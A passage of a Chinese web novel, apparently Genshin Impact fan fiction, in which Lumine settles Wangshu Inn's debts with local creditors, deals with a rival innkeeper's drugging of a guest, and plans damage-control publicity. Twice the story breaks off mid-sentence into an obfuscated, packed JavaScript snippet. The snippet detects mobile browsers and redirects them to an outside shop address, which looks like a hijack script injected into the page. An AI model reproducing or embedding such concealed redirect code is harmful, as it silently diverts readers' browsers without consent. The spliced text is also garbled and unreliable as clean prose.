荧合上账本，深吸一口气："收据烧了是大麻烦。债主手里有欠条，我们拿不出证据证明还过钱，他们完全可以要求按欠条全额还款。" "那怎么办？" "只能靠账本和诚意了。"荧拿出准备好的一叠券，"第一，账本上金额对得上的，我主动多给一成补偿。第二，如果还有人不依不饶，我就用客栈的特色服务券抵一部分。" "史莱姆抚摸券，10摩拉一次。免费住宿券，700摩拉一晚含早餐。香菱特制甜品券，茶饮券，丘丘人餐饮券。反正客栈现在有的是特色服务，总能让他们满意。" 派蒙竖起大拇指："准备得真充分！" 荧："而且为了避免意外，我还让香菱帮忙通知了行秋。有飞云商会撑腰，那些想占便宜的人也不敢太过分。" 派蒙："原来你早就想好后手了！" 正说着，门口传来脚步声。 荧抬起头，看到璃月商会的陈先生带着两个随从走上平台。 "陈先生早啊！"荧连忙招呼。 陈先生笑着坐下："荧老板，上次庆祝会办得不错。今天来是有笔生意要谈。" 荧倒了杯茶："请讲。" 陈先生开门见山："璃月商会有十几家店铺想雇佣丘丘人。我们想订15只，两周后交付。定制培训，加三个月管理和食材配送。" 荧心算了一下：定制培训15只×600，三个月管理15只×150×3，三个月配送15只×150×3，总共22,500摩拉！初号机和二号机招募回来的人刚好可以一次性出清，原来以为还得再多养两个月，真棒！ 她装作思考的样子："嗯，15只两周培训出来有点紧，而且还需要总务司和千岩军审核。不过我们可以加班，两周应该没问题。" 陈先生点头："那就这么定了。对了，关于你欠商会18万的事" 荧竖起耳朵。 陈先生："商会愿意入股你的丘丘人工会，占20%。我们投资10万入股。作为交换，18万债务减免3万，剩5万改为无息借款。" 荧算了算：18万变5万，立刻伸出手："成交！" 陈先生笑着和她握手："那今天这笔订单的款项我先付了。" 他掏出一个钱袋："22,500摩拉，您点点。" 荧接过钱袋，眼睛发光。 派蒙小声说："荧，你口水" 荧连忙擦嘴："陈先生放心！两周内保证交付！" 陈先生满意地点头，站起身："对了，上次吃的饭不错，初号机的手艺挺好。" "初号机和三号机负责对外餐饮，随时欢迎！" 送走陈先生，荧抱着钱袋坐回前台。账上原本18,500，加上这22,500，变成41,000。今天要还散户2万，扣掉开销，还能剩21,000左右。而且债务从43万降到30万！ 派蒙："荧，你笑得好猥琐。" "这叫职业微笑。" 正说着，大路上陆续走来七个人。散户到了。 荧收起笑容，摆出专业表情。 七个散户顺着台阶走上一楼平台，有的拿着欠条，有的两手空空。 老李第一个开口："荧老板，听说今天还钱？" 他掏出一张发黄的纸："我这欠条上写着，你们客栈欠我4000摩拉。" 荧点头："老李叔，账本上记着，之前菲尔戈黛特老板和淮安掌柜还过您1000，现在还有3000没还。" 老李："拿收据出来对对账？" 来了。 荧深吸一口气："老李叔，实话说吧——之前我整理地窖，不小心打翻火把，收据全烧了。" "什么？！" 其他散户也炸了。 钱叔掏出欠条："收据烧了？那我这欠条写着你们欠我2000摩拉，我可要按欠条全额要！" 张婶紧张地说："我欠条丢了，但我记得清清楚楚，你们一分没还过我！你们欠我2800没还，账本上总该有记录吧？别想赖账说已经给过我了！" 刘大哥："我这当初没写欠条，但账本上应该有记录吧？还有多少没还我？" 赵叔："我有欠条写3800，但你们账本上有记录吗？" 孙老伯实诚说："我这4200，淮安先生还过我2600，我给他开了收据的，剩下1600我也没让他再打欠条" 老王："我这5000，但账本上好像没记录？我记得当时淮安先生忙晕了，可能忘记记账了，你们确实还有5000没还我。" 七个人你一言我一语，前台瞬间变菜市场。 荧有些紧张——收据烧了，她拿不出证据。债主手里有欠条，占据主动。 她拍了拍桌子："各位！听我说！" 声音小了些。 荧："收据烧了是我的责任，我道歉。但账本还在，我愿意按账本还剩余款项，而且——" 她拿出准备好的券："为了表示诚意，凡是账本对不上的，我多给一成补偿！补偿可以是现金，也可以是客栈的特色服务券。" "史莱姆抚摸券，10摩拉一次。免费住宿券，700摩拉一晚含早餐。香菱特制甜品券，茶饮券，丘丘人餐饮券。各位自己选。" 正说着，门口又来人了。 一个穿着暗黑哥特风打扮的中年男人走上平台，深色基调的外套上有金属锁链装饰，不对称的剪裁，还有一圈毛领——这身装扮常被玩家吐槽像万圣囚服。 荧心里一紧：北国银行的人怎么也来了？ 代表笑容温和："荧老板，今天挺热闹？" 荧警觉起来："您是？" 代表："北国银行。听说今天是还款日，我就来看看。" 他环视一圈："哦，在处理债务？我就坐旁边听听。" 他坐下，翘起二郎腿。 北国银行这时候上门，闭眼都知道这家伙绝对不怀好意。 散户们面面相觑，气氛变得微妙起来。 老李看看荧，又看看北国银行代表，欲言又止。 钱叔却来了精神："荧老板，既然收据都烧了，那我们这账怎么算？" 荧正要开口—— 一个温润的声音传来："荧老板，在忙吗？" 行秋带着管家走上平台。 散户们的气势顿时弱了一半。 行秋扫视一圈："诸位是来做客的？" 老李硬着头皮："我们是来要账的，但她收据都烧了，拿不出证据证明还过我们钱。" 行秋点头："原来如此。荧老板，上次委托的事，管家说有进展？" 荧会意："对，行秋公子请跟我来，去账房详谈。" 派蒙立刻说："这边请！" 行秋跟着荧上了二楼。 到了账房，荧从柜子里拿出《璃月秘闻录》。 行秋眼睛发光："品相完好！" 他转向管家："按约定价格。" 管家递过一个钱袋："5000摩拉。" 荧接过钱，笑容灿烂："多谢行秋公子照顾生意。" 行秋收好书，微笑："应该的。对了，下面那些散户" "麻烦行秋公子帮我撑撑场面。" "小事。" 两人回到一楼。 行秋语气平淡："荧老板，飞云商会与望舒客栈的业务往来，我已经核实过了。账目没问题。" 他扫视散户们："诸位如果对账目有疑问，可以来找我。望舒客栈的经营状况，我大致了解。" 停顿了一下："当然，如果有人想趁机讹诈" 他看了一眼钱叔："飞云商会在璃月也不是吃素的。" 钱叔脸色一变，连忙说："哪能啊，我相信荧老板的账本。" 其他散户也纷纷表态："我也信。" 荧松了口气，对行秋投去感激的眼神。 行秋微笑："我还有事，先走了。" "慢走！" 送走行秋，荧开始还债。 老李："老李叔，账本记着还有3000没还您，收据烧了是我们的失误，我多给您300摩拉补偿。总共3300摩拉。" 老李想了想："算了，我信你。账本记着还过1000，那就按3000还吧。" 荧："您最讲理！那我就按3300给，多出来的300当感谢！" 老李摆手："使不得使不得" 荧已经把钱递过去了："老李叔您拿着，这是我的心意。" 老李无奈接过钱，把欠条还给荧。 孙老伯上前："我这1600，账本应该有吧？" 荧翻账本："有的有的！孙老伯，淮安先生还过您2600，剩下1600没还您，您也没让打新欠条。" 孙老伯："那就按1600还吧。" 荧："收据烧了，我多给您一成补偿。1600现金，再给您20摩拉现金、3张史莱姆抚摸券、1张茶饮券、1张香菱甜品券。" 孙老伯笑着收下："你这孩子，办事敞亮！" 张婶紧张地凑上来："我欠条丢了，你们账本上有我的吗？我是真的没有收到过你们的钱。" 荧翻账本："有！张婶，账本上记着我们有2800没还您，一分没还过。" 张婶松了口气："那就好。我就怕你们说还过我了，我欠条又丢了，说不清楚。" 荧："您放心！2800本金，再加280现金补偿。总共3080摩拉，您看是全要现金还是我们的特色服务？" 张婶："能还就行，我只收现金。" 刘大哥："我这当初没写欠条，账本上应该有1800没还我吧？" 荧："有！刘大哥，1800本金，加180补偿，总共1980，全现金给您！" 刘大哥接过钱，连连道谢。 赵叔掏出欠条："我这3800，账本上有记录吗？还有多少没还？" 荧翻账本，脸色一变："糟糕...账本上没记。" 赵叔："那怎么办？" 荧："这是我们的失误！3800本金我全给，再加一成补偿。您看补偿部分要现金还是服务券？" 赵叔："服务券吧，我想试试客栈的特色。" 荧："好！给您4000现金，6张茶饮券外加60摩拉的丘丘人餐饮券！" 赵叔满意地点头。 老王："我这5000，账本上也没记录吧？你们确实没还我。" 荧翻账本："确实没记...老王叔，这也是我们的失误。5000本金，加500补偿，全现金给您！总共5500摩拉！您看合适吗？还是你想体验我们的服务？" 老王接过钱，连连摆手：“还是现金比较安心。服务我自己到时花钱来就行。” 最后轮到钱叔。 钱叔掏出欠条："我这欠条上写着你们欠我2000摩拉。" 荧翻账本："钱叔，账本上记着，之前淮安先生还过您1300，现在还有700没还您。" 钱叔眼睛一转："你说淮安还过我1300？拿出收据啊！" 荧："收据...烧了..." 钱叔眼睛一亮："那我不认！没有收据就是没还！按欠条2000全额还给我！" 其他散户看不下去了。 老李："老钱，你这就过分了。账本白纸黑字写着，怎么能讹人呢？" 张婶："就是！我们都信荧老板，你怎么能这样？" 钱叔梗着脖子："我又没看到收据！" 北国银行代表在旁边笑而不语。 荧看了他一眼，深吸一口气："钱叔，按账本我们还有700没还您。我可以给您一成补偿，但不会按2000给。"

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035990|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钱叔还想说什么，突然—— 一股威压从楼上传来。 魈的声音冷冷传来："吵什么？" 钱叔吓得一哆嗦，立刻改口："那...那就按账本700吧..." 荧："好。700摩拉，这是您的。" 钱叔灰溜溜地接过钱，把欠条还给荧。 到下午四点，散户债全部结清。 荧看着手里一堆欠条，长舒一口气。终于搞定了！ 她看着这些散户——都是璃月港的老街坊，有开杂货铺的、跑运输的、做小生意的，在邻里间都有口碑。这可是最好的活广告啊！ 荧眼珠一转，对散户们说："各位，辛苦了！大家等了这么久，我心里过意不去。今天的饭菜我请客，尝尝香菱做的特色甜点，还有我们客栈丘丘人的手艺！" 老李："哎呀，这怎么好意思" 荧："老李叔别客气！望舒客栈刚整改完，正好让大家品鉴品鉴。派蒙，去厨房让香菱拿甜点，再让初号机和三号机准备几道拿手菜！" 派蒙会意地笑了："好嘞！" 她飞上二楼，很快端出香菱的特制甜品，还有丘丘人做的招牌烤史莱姆、甜甜花酿鸡、松茸酿肉卷、红烩兽肉，以及早上送过白术检测的莲花酥。 散户们也不推辞了，坐在一楼桌椅区用餐。 老李夹了一块红烩兽肉："嚯，这是丘丘人做的？味道真不错！" 赵叔尝了松茸酿肉卷："这手艺可以啊！" 张婶吃着甜甜花酿鸡："确实有水平。" 其他散户也纷纷赞叹。 荧在旁边笑眯眯地看着：这些人回去肯定会跟朋友说望舒客栈的特色。免费广告，不做白不做！ 派蒙小声说："荧，你笑得好奸诈。" "这叫商业头脑。" 老王夹了一块莲花酥，吃了几口："嗯，味道确实不错" 话没说完，他脸色突变。 "不对"老王捂着肚子，冷汗直冒，"肚子疼" 盘子从他手里掉下来，摔碎在地上。 老王站都站不稳，差点栽倒。 荧冲过去扶住他："老王叔！"同时对二号机喊："二号机，把摔碎的盘子和残留食物收好，这是物证，别乱动！" 老王虚弱地说："肚子疼，头晕" 散户们炸了： "食物有毒？！" "天哪！我们也吃了莲花酥！" "会不会也中毒？！" 张婶尖叫："都有毒！大家快吐出来！" 有几个散户吓得把嘴里的食物吐了出来。 一楼平台瞬间乱成一锅粥。 派蒙慌了："荧！怎么办？！" 荧扶着老王，快速判断情况。食物中毒。当着这么多人的面。北国银行的人还在场。这是冲着客栈的信誉来的！ 她立刻下令："派蒙，去喊香菱！二号机，扶老王叔坐下！" 就在这时—— 屋顶一声轻响。 魈从天而降，稳稳落在平台上。 所有人愣住。 魈扫视一圈："这回又是为什么？" 荧："魈大人，老王吃了莲花酥后突然不舒服。这道莲花酥早上刚让初号机送过白术先生检测，食材应该没问题。" 魈走近看了看老王——脸色苍白，冷汗，但呼吸平稳。 他看着混乱的人群："都安静。" 一句话，全场鸦雀无声。连张婶都不敢叫了。 魈："找专业的人检查。所有人别乱动，等调查结果。" 说完，他身形一闪，回到了楼上。刚才那一句冷喝，已经让所有人不敢再喧哗。 北国银行代表想站起来，被散户里有个胆大的拉住："魈大人说了别乱动！" 代表只好坐回去，笑容有些僵硬。 这时香菱从二楼冲下来："怎么了？！" 看到老王的状态，她立刻蹲下检查："瞳孔正常，呼吸平稳，不像剧毒" 散户们："那为什么他会这样？" 香菱："大家别慌！这道莲花酥早上送过白术先生检测，食材绝对没问题！我再去检查一遍剩余原料！" 她冲上二楼厨房，把所有食材检查了一遍。 面粉——密封保存，没问题。 莲子——新鲜，没变质。 糖——没问题。 油——保质期内。 香菱下楼，严肃地说："所有原料都没问题！" 荧："那为什么" 香菱一字一句："我怀疑，是有人在成品上下了毒。" 空气瞬间凝固。 派蒙："下毒？！谁会" 香菱看着北国银行代表："这位先生刚才在厨房附近转悠了很久。我在里面做甜品，看得清清楚楚。" 北国银行代表笑容不变："香菱姑娘，说话要讲证据。我只是好奇厨房布局。" 他摊手："而且我一直在前台，大家都看见了。" 香菱："那就请白术先生来检查！他能证明食材没问题！" 荧立刻做决定："三号机，你立刻去千岩军驻荻花洲的营地报案！就说望舒客栈发生疑似投毒事件！" 三号机点头，往外跑去。 荧又对派蒙说："派蒙，你去不卜庐请白术先生！就说情况紧急，诊金双倍！" 派蒙："现在都快傍晚了" 荧："客人的身体和客栈的信誉等不了！立刻去！" 派蒙飞快地冲下台阶，沿着大路往璃月港飞去。 荧转向散户们："各位，请暂时别离开。作为目击证人，可能需要配合调查。" 散户们点头。虽然害怕，但看到荧这么果断地报官、请医生，也安心了些。 老王的情况稍微稳定，二号机扶着他坐在椅子上。 北国银行代表看了看魈消失的方向，又看了看荧，没有说话。 金乌西坠。 一楼平台上，所有人都在等待。 等待白术。 等待千岩军。 等待真相。 荧站在前台，手指轻轻敲着桌面。 北国银行，投毒 她看了一眼坐在角落的代表。 这个人，今天走不掉了。 14.真相大白（上） 夜幕将至，望舒客栈内气氛凝得跟结冰似的。 老王半躺在椅子上，脸色白得吓人，呼吸急促，眼皮子都快睁不开了。 二号机举着水杯站旁边，急得直跳脚。 散户们围成一圈小声嘀咕。 有人说"不会真是食物有问题吧"，有人说"我也吃了莲花酥，怎么没事"，还有人往荧这边看，眼神里带着怀疑。 荧站在前台，手指轻轻敲着桌面，快速盘算。 食物中毒已经发生了，该做的都做了——物证保全在二号机手里，千岩军在路上，白术也去请了。现在关键是善后。 散户们都是证人，亲眼看到她处理果断，这些人回去肯定会说。 如果运作得好，这事反而能变成口碑营销——"望舒客栈被陷害，但老板处理专业，千岩军都来了"。 不亏。 北国银行的人坐在角落里，二郎腿翘着，手里拿着个小本子在记什么。 荧刚才可还看到他想乘乱离开，但，北国银行的人会那么蠢吗？毕竟他们一向是只图钱，就和蚂蝗一样。 那人抬头看了荧一眼，嘴角带着若有若无的笑。 至冬国的讨债鬼。 荧心里给他贴了个标签。 不过现在没空管他，等千岩军来了再说。 "荧，我好晕，浑身没劲儿。"老王声音虚得不行。 荧赶紧跑过去蹲下："老王叔您撑住啊！白术先生马上就到！" 老王眼皮越来越沉。 看着王叔越来越虚弱，荧也跟着有些慌了起来：千万别真晕过去！出人命这客栈就彻底完了！我还欠30万呢！ 就在这时，路上传来脚步声。 派蒙气喘吁吁地飞在前面："白术先生！快快快！就是他！" 白术提着药箱快步走上平台，长生趴在他肩上，翻着白眼："你们客栈是不是有毒？上次我还说难得没出事，结果话音刚落你就来了。" 白术身后跟着钟离，手里还端着茶杯。 荧愣了："钟离先生？" 你个老狐狸，怎么也过来了？ 钟离慢条斯理走上来："恰好与白术先生品茶，听闻出事便来看看。" 荧心里翻了个白眼。 恰好？ 你肯定一直在暗中关注客栈。 不过算了，现在有岩王爷撑场面也不是坏事。 钟离扫了一眼平台，老王、北国银行专员、散户们，然后冲荧点点头："先救人要紧。" 白术已经放下药箱开始检查。 摸脉搏，翻眼皮看瞳孔，又按了按老王腹部。 荧心里稍微松了口气。 白术大大终于赶来了，老王叔应该不会有事了。 长生在旁边嘀咕:"呼吸还算平稳，瞳孔轻微放大，肌肉松弛，应该不是剧毒。" 白术点头："是迷药。剂量不大，不致命，但会导致昏睡和虚弱。服下此药，症状便能缓解。" 他从药箱里拿出几颗药丸。 老王接过药丸，就着水咽下去。 白术站起来："食物呢？" 荧指着地上二号机收好的盘子碎片："就是那个莲花酥。" 白术蹲下去仔细看，长生也凑过去。 "有药粉残留。"白术拿起一块碎片，"是迷药的一种，研成粉末撒在食物表面。" 派蒙紧张得声音都变了："那我们食材是不是有问题？" 白术摇头："这道莲花酥的原料，今早你们就送到不卜庐检测过。我亲自检查，面粉、莲子、糖、油，全都没问题。" 荧听到白术的话后紧绷的神经也彻底放了下来。 还好她和香菱每天早上都有让初号机同步送当天的食材过去检测！不然真的是有口难辨。 白术转向散户们："各位，今天都吃了什么？" 老李："我吃了莲花酥和烤鱼。" 张婶："我吃了莲花酥和甜甜花酿鸡。" 赵叔："我也吃了莲花酥。" 白术："感觉不适的只有老王？" 众人点头。 白术走到摆食物的桌子旁，逐一检查其他菜品。 烤鱼，闻了闻，没问题。 甜甜花酿鸡，看了看，没问题。 红烩兽肉，尝了一小口，没问题。 长生："其他食物都正常。" 白术："看来只有老王的莲花酥有问题。而投毒应该发生在成品做好之后。从症状和药粉残留看，是有人直接将迷药粉撒在莲花酥上，时间就在老王食用之前不久。" 荧皱眉："谁会这么缺德？" 荧心里想：北国银行的人为什么要投毒？他们是债主，客栈倒了对他们有什么好处？除非他们想收走客栈抵债？不对，现在客栈生意刚起来，收走客栈不如等我还钱更赚。所以真正想搞死客栈的，应该是竞争对手！ 白术收拾药箱："这个恐怕需要问千岩军了。" 钟离在旁边开口："荧掌柜，今日在场的可都是熟人？" 荧想了想："主要是来要账的散户，还有我们客栈的员工。" 她顿了顿："北国银行那位先生也在。他说是来做例行评估的。" 钟离点点头，端着茶杯走到平台边缘，目光在地面上扫过。 他在某个位置停了一会儿："荧掌柜，此处有细微粉末痕迹。想来是投毒时不慎洒落。" 就在这时，不远处来整齐的脚步声。 三号机带着千岩军来了。 领头的是个年轻队长，腰上挂着剑。 他快步走上平台，先看了看老王："伤者情况如何？" 白术："已服药，无生命危险。" 队长松了口气，转向荧："荧掌柜，我们接到报案说有人投毒。请配合调查。" 荧点头："当然。" 队长拿出本子："今天在场的都是谁？" 荧："主要是来要账的散户，还有我们客栈的员工。" 队长："散户都有谁？" 老李、张婶、孙老伯、刘大哥、赵叔、钱叔一个个报了名字。 队长记下来:"除了这些人，还有别人来过吗？" 老李想了想："哎对了，我好像看到望月客栈那个老板也在？" 荧脑海里迅速过了一遍：望月客栈？那不就是我的竞品吗？ 张婶："对对对！他站在人堆里，我还以为他也是来要账的呢。" 赵叔："他好像还走到桌边拿了块莲花酥？" 刘大哥："是啊，我记得他拿完莲花酥，手在口袋里摸了摸。" 孙老伯："现在想起来，他拿莲花酥的时候，手好像在盘子上晃了一下。" 荧瞬间明白了。 竞品恶意投毒！ 这种事她以前见过，用投毒摧毁别人的信誉，标准的下三滥手段。 不过这招太蠢了，一旦被查出来，自己也完蛋。 钟离对着千岩军在旁边补了一句:"方才我观察地面，放食物的桌旁确有细微粉末痕迹。" 队长眼睛一亮："望月客栈的老板？叫什么？" 老李："好像叫周扬？" 队长马上记下来："这事可能涉及商业纠纷。我得向上级汇报。" 荧："向谁汇报？" 队长："总务司，可能还得通知天权星大人。" 派蒙愣住："天权星？那是谁？" 队长震惊："你们连天权星都不知道？就是璃月七星之一，凝光大人啊！掌管璃月商业和律法的！" 派蒙小声："七星，听起来好厉害。" 荧心里隐隐不安。 凝光要介入了？ 在游戏里望舒客栈确实是凝光的地盘。但是从目前接触下来，望舒客栈并不像是她的产业。 队长继续问话，把事情经过一一记录下来。 "好，我大致了解了。"队长合上本子，"今天在场的各位，暂时别离开璃月港。我们可能还要问话。" 散户们纷纷点头。 队长又看向北国银行专员："这位先生，请问您的身份？" 专员微笑着站起来："北国银行，璃月港分行，债务处理部。今天只是例行评估，听说望舒客栈在还债，过来看看经营情况。" 队长:"那您一直在这？" 专员："对，我一直坐在这个位置。大家都看见了。" 队长点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042498|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，没再问。 荧死死盯着那个专员。 她心里疯狂吐槽：果然是来评估的！北国银行的债务处理向来雷厉风行，他肯定在盘算客栈能值多少钱。该不会趁着投毒案来收购或者敲一笔吧？我现在账上才3万多！如果他现在就要我还钱，我是不是可以直接把这个破客栈转给他？ 队长对荧说:"今天辛苦了。明天可能有人来找你了解情况。" 荧："好的。" 千岩军走了，散户们也陆续告辞，都说没事就好、改天再来。 老王吃了白术的药，好多了。他让家里人扶着，临走前还对荧说："荧老板，今天的事不怪你。" 荧心里暖暖的："老王叔慢走。" 白术收拾好药箱："诊费明天结算。紧急出诊，双倍。" 荧嘴角抽了抽："好的，白术先生。多谢您了。" 白术和长生离开。 钟离走到荧跟前，放下茶杯："荧掌柜，今日之事，恐非偶然。" 荧抬头："您是说？" 钟离："依常理度之，璃月商界暗流涌动。望舒客栈地处荻花洲要冲，又经新政整顿，自然会引来某些不必要的关注。前任掌柜当年选址于此，并非只是为了经营客栈。你既接手了这个位置，便也接手了一些旁人看不见的联系。" 荧："什么联系？" 钟离摇头："时候未到。不过依我之见，凡事谨慎为上。" 说完他转身离开。 荧看着钟离背影，心里一堆问号。开客栈不是为了经营客栈，难道纯为了当情报据点掩人耳目？那淮安和菲尔戈黛特不会赚钱感觉也很理所应当了！不过就算望舒客栈是情报站又和你摩拉克斯有啥关系？ 派蒙飘过来："他啥意思啊？" 荧摇头："不知道，但总觉得，这客栈背后的水很深。" 北国银行专员最后走。 他走到门口，回头说了一句："荧小姐，生意做得不错。资产评估报告我会如实上报。" 然后就走了。 荧盯着他背影，手心全是冷汗。 完了！这人肯定回去报告！北国银行那边不会真的要讹我一笔吧？欠他们的25万还没还，利滚利再加一笔敲诈，如果不用我多还钱，现在我就能立刻转地契给你们！ 派蒙："他这话什么意思？" 荧苦笑："不知道，但肯定不是什么好事。" 所有的来客都已离开，客栈终于安静下来。 荧坐在前台，翻开账本，看着今天的记录。 还债2万，收入0。 派蒙趴在桌上："今天真是累死了，还好老王叔没事。" 荧合上账本，拿出纸笔。 投毒案肯定会传开，关键是怎么让大家传正面的故事。 她开始快速写： 怎么把坏事变好事？ 1. 找散户帮忙 老李、张婶、赵叔这些人都是目击证人，而且他们亲眼看到我处理果断。让他们帮忙传播真相，比我自己说有用一百倍。免费的口碑营销！ 2. 明天贴告示约采访 内容：被竞品陷害，千岩军在查，食材安全。 要点：快、真、诚。 3. 找香菱和行秋 万民堂和飞云商会的招牌够硬，有他们背书，客人会更放心。 4. 发补偿券 重点来了！补偿券成本几乎为零，不用花真金白银，还能让客人再来消费！一举两得！ 史莱姆抚摸券10摩拉、住宿券700摩拉、甜品券、茶饮券，反正都是虚的，发出去不心疼，客人来了才是真消费！ 5. 强化差异化 重点宣传：丘丘人员工、白术检测、千岩军背书。竞品学不来的！ 派蒙看着荧写，眼睛发光:"哇！好专业！荧你懂好多啊！" 荧随口说："以前学过一些。" 心里补充：社畜的基本技能，危机公关做得好，升职加薪跑不了。虽然现在没工资可加，但客栈不能倒。 派蒙："那我们现在干嘛？" 荧站起来："现在？当然是连夜找散户！趁他们记忆还新鲜，赶紧让他们帮忙传话！" 15.真相大白（下） 荻花洲的夜很静，只有偶尔几声虫鸣。 荧带着派蒙，沿着客栈下方的石柱台阶往下走，然后穿过沼泽地，进入附近的村落。老李家就在村子里。 派蒙帮荧抱着一叠补偿券，一边打哈欠一边嘟囔："早知道这么累，刚才就不该吃那么多烤史莱姆。" 荧敲开老李家的门。 老李开门一看是她，愣了："荧老板？这么晚了？" 荧："老李叔，打扰了。我想跟您商量个事。" 老李让她进屋坐下。 荧开门见山："今天投毒的事，您也看到了。我想请您帮个忙。" 老李："什么忙？" 荧："您明天能不能帮我跟街坊邻居说说今天的事？就说望舒客栈被人陷害了，但我们处理得很好，食材都是安全的。" 老李愣住："你想让我帮你宣传？" 荧点头："对。但我不是让您瞎说，您就实话实说就行。您亲眼看到的，白术检查过食材没问题，是有人故意下毒，而且千岩军已经在查了。" 老李想了想："这倒是实话，行，我明天就跟人说说。反正我们这些债主都知道你人不错。" 荧松了口气："多谢老李叔！对了，这是一张免费住宿券，您什么时候想来住都行。就当是今天惊吓您的补偿。" 老李接过券，笑了："行，那我就不客气了。" 从老李家出来，荧又去了张婶家、孙老伯家、刘大哥家、赵叔家。 每家都说了同样的话，给了同样的券。 回到客栈时，天都快亮了。派蒙打着哈欠："荧，你好拼啊。" 荧擦了擦额头的汗："没办法，必须抢在谣言传播之前，先把真相传出去。" 派蒙："那我们现在还要做些什么？" 荧："先休息一下等天亮了就去璃月港，找香菱和行秋帮忙。" 第二天一早，荧就起床了。 虽然只睡了三个小时，但她精神还算不错。 她带着派蒙，从荻花洲出发，沿着大路往璃月港走。 由于路痴属性发作大概走了两个半时辰，终于到了璃月港。 荧直奔万民堂。 万民堂刚开门，香菱正在准备食材。 荧走进去："香菱！" 香菱一看到她，立刻放下手里的活:"荧！昨天那事太气人了！我回去跟我爹说了，我爹说那个周扬就是个混蛋！" 荧："你爹认识周扬？" 香菱:"认识！望月客栈的东西难吃得要命，就靠坑外地客人。我爹早就看不惯他了！而且昨天我亲眼看到他在厨房附近转悠，肯定是他投的毒！" 荧松了口气："那太好了。我来是想请你帮个忙。" 香菱："什么忙？" 荧："你能不能在万民堂门口贴张告示？就说望舒客栈的食材都是安全的，你昨天也在场，亲眼看到是有人故意投毒。" 香菱想都没想："当然可以！我昨天亲眼看到白术先生检查过，所有原料都没问题。是那个周扬故意下毒！" 荧："香菱你真是帮大忙了！改天请你吃饭！" 心里补充：万民堂老板的女儿帮我背书，这波赚大了。 香菱拍着胸脯："这算什么！我现在就让我爹帮你写告示！卯师傅的字在璃月港可有分量了！" 荧连忙感激："那就麻烦卯师傅了。" 从万民堂出来，荧又去了飞云商会。 行秋正在看书，一看到她就放下书："荧掌柜，昨日之事可还顺利？" 荧："您都知道了？" 行秋微笑："本少侠消息灵通。" 荧："那您能不能帮我跟商会的人说说？就说望舒客栈是被竞品陷害的，现在千岩军在查。" 行秋合上扇子："此事简单。飞云商会与望舒客栈本就有合作，我自当为你正名。而且那周扬，本少侠也早有耳闻，此人品行不端，商界人人避之不及。" 荧:"行秋少爷真是及时雨！" 心里补充：有钱人撑腰就是好使，飞云商会一句话顶我说一百句。 行秋笑了："荧掌柜客气了。对了，昨日我虽在场，但并未看清投毒经过。不过依我之见，你处理得当，千岩军介入，真相自会大白。" 荧点头："借您吉言。" 告别行秋后荧和派蒙又找到上次采访的记者，告知了昨日望舒客栈的事情，记者先生也十分感激荧给的大新闻，表示会尽快刊出并作追踪报道。 中午，荧回到客栈，亲手贴了张告示。 望舒客栈郑重声明 昨日本客栈遭竞品恶意陷害，有人在食物中投放迷药。 客栈已第一时间报千岩军处理，真凶已被锁定。 本客栈所有食材每天会同步不卜庐白术先生检测，安全无虞。 望舒客栈千年以来一直重视每一位客人的健康，绝不容许任何食品安全问题。 为表歉意，凡昨日在场客人，可领取免费补偿券一张。 望舒客栈全体员工敬上 派蒙看着告示："写得好正式！" 荧:"这种时候就得正式一点。" 贴完告示，荧让二号机把昨日散户的名单翻出来，逐一登记，确保每个在场的客人都能领到券——这可是口碑营销的关键一步。 下午开门后，陆陆续续有人来看热闹。 "听说你们被人陷害了？" "白术都检查过了？那肯定没问题！" "哪个缺德的干的？" 荧耐心解释，态度诚恳。 有些客人当场就点了菜。 "我就来尝尝！我相信你们！" "对，那个投毒的才是坏人！" 到了傍晚，居然来了不少客人。 荧站在前台，看着满座的客人，终于将悬着的心放了下来。 第三天早上，凝光座下负责传令的百晓找上门来。 "荧掌柜，凝光大人想了解投毒案的情况，请您去月海亭一趟。" 荧深吸一口气："好，我这就去。" 她让二号机和三号机看店,带着派蒙跟百晓往璃月港走。 走在路上，荧心里盘算。 凝光这么快就传我，说明她很重视这件事，或者说，她很重视望舒客栈。 她肯定知道客栈是情报据点，想借这次机会接触我。但我不想参合。后面还有一堆剧情，仙人和七星对峙，魔神战争，群玉阁坠落。我躲都来不及，凑什么热闹。 不过凝光是天权星，璃月商界的大佬，该客气还得客气。 社畜的基本技能：对老板要恭敬。 从荻花洲到璃月港，这次有百晓带路，只走了两个多时辰，可荧感觉自己的腿都快废了。 到了月海亭，荧跟着百晓一路爬到顶层。 派蒙小声嘀咕："好高啊，爬楼梯好累。" 荧："你会飞还喊累？" 派蒙："飞也累啊！" 终于到了顶层。百晓推开门："凝光大人，荧掌柜到了。" "进来吧。" 荧走进去，第一眼就看到坐在办公桌后的女人。 凝光。 白金色长发盘起来，穿着华丽的旗袍，气场强得吓人。 凝光抬头，微笑:"望舒客栈近来的新鲜事，可是传遍了整个璃月港——丘丘人员工，魔物就业，荧掌柜的手段，倒是比前任有趣多了。" 荧微微鞠躬："凝光大人客气了。小本生意，不敢当。" 凝光示意她坐下:"投毒之事，我已让人彻查。真相大白，倒也简单。" 她拿出一份文件递给荧。 荧接过去快速浏览。 周扬，璃月某商业世家的三子，不学无术，靠家里钱开了望月客栈。经营不善，生意惨淡。 凝光："他们家族，有个颇为独特的传统。" 荧抬头："什么传统？" 凝光："竞争不过，便投毒陷害。可谓是他们的毒门生意。" 荧愣了："毒门？" 